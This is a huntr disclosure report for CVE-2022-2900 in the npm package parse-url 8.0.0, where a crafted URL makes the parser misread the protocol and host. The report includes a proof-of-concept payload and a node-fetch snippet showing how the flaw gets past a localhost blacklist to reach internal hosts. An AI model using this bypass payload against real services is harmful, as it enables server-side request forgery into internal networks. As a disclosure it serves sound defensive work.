huntr

parser bypass and make SSRF attack in ionicabizau/parse-url

0

✓ Valid Reported on Aug 3rd 2022

parse-url inproperly detecting protocol,resource and Pathname . This allow to bypass protocol check . Also this bug make ssrf check bypass

lets check normal url result for parse-url

```
import parseUrl from "parse-url";
console.log(parseUrl("http://nnnn@localhost:808/?id=xss"))
```

```
{
  protocols: [ 'http' ],
  protocol: 'http',
  port: '808',
  resource: 'localhost',
  host: 'localhost:808',
  user: 'nnnn',
  password: '',
  pathname: '/',
  hash: '',
  search: 'id=xss',
  href: 'http://nnnn@localhost:808/?id=xss',
  query: { id: 'xss' },
  parse_failed: false
}
```

Now provide bellow crafted url to confuse the parse-url .

```
import parseUrl from "parse-url";
console.log(parseUrl("http://nnnn@localhost:808:/?id=xss"))
```

response

```
{
  protocols: [ 'ssh' ],
  protocol: 'ssh',
  port: '',
  resource: 'nnnn@localhost',
  host: 'nnnn@localhost',
  user: 'git',
  password: '',
  pathname: '/808',
  hash: '',
  search: '',
  href: 'http://nnnn@localhost:808:/?id=xss',
  query: {},
  parse_failed: false
}
```

Here in this output see it incorrectly detecting the protocol,resource,pathname, and user param

SSRF BYPASS and access blacklist domain

lets assume developer set blackList domain `localhost`

```
import parseUrl from "parse-url";
import fetch from 'node-fetch';
var parsed=parseUrl("http://nnnn@localhost:808:/?id=xss")
if(parsed.resource=="localhost"){
console.log("internal network access is blocked")
}
else{
   const response = await fetch('http://'+parsed.resource+parsed.pathname);
        console.log(response)
 }
```

Crafted url payload is `http://nnnn@localhost:808:/?id=xss`

Impact

ssrf to access internal network

CVE
CVE-2022-2900
(Published)

Vulnerability Type
CWE-918: Server-Side Request Forgery (SSRF)

Severity
Critical (9.1)

Registry
Npm

Affected Version
8.0.0

Visibility
Public

Status
Fixed

Found by

ranjit-git
@ranjit-git
amateur

Fixed by

Ionică Bizău (Johnny B.)
@ionicabizau
unranked

This report was seen 1,367 times.

Chat with us

We are processing your report and will contact the **ionicabizau/parse-url** team within 24 hours. 4 months ago

ranjit-git modified the report 4 months ago

ranjit-git modified the report 4 months ago

ranjit-git modified the report 4 months ago

We have contacted a member of the **ionicabizau/parse-url** team and are waiting to hear back 4 months ago

We have sent a follow up to the **ionicabizau/parse-url** team. We will try again in 7 days. 4 months ago

We have sent a second follow up to the **ionicabizau/parse-url** team. We will try again in 10 days. 3 months ago

Ionică Bizău (Johnny B.) validated this vulnerability 3 months ago

ranjit-git has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

We have sent a fix follow up to the **ionicabizau/parse-url** team. We will try again in 7 days. 3 months ago

We have sent a second fix follow up to the **ionicabizau/parse-url** team. We will try again in 10 days. 3 months ago

We have sent a third and final fix follow up to the **ionicabizau/parse-url** team. This report is now considered stale. 3 months ago

Ionică Bizău (Johnny B.) marked this as fixed in **8.1.0** with commit **b88c81** 2 months ago

Ionică Bizău (Johnny B.) has been awarded the fix bounty ✓

This vulnerability will not receive a CVE ✗

Ionică 2 months ago

Chat with us

Sorry, this was fixed in `8.1.0` ...

> Sign in to join this conversation

huntr

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

part of 418sec

company

about

team

Chat with us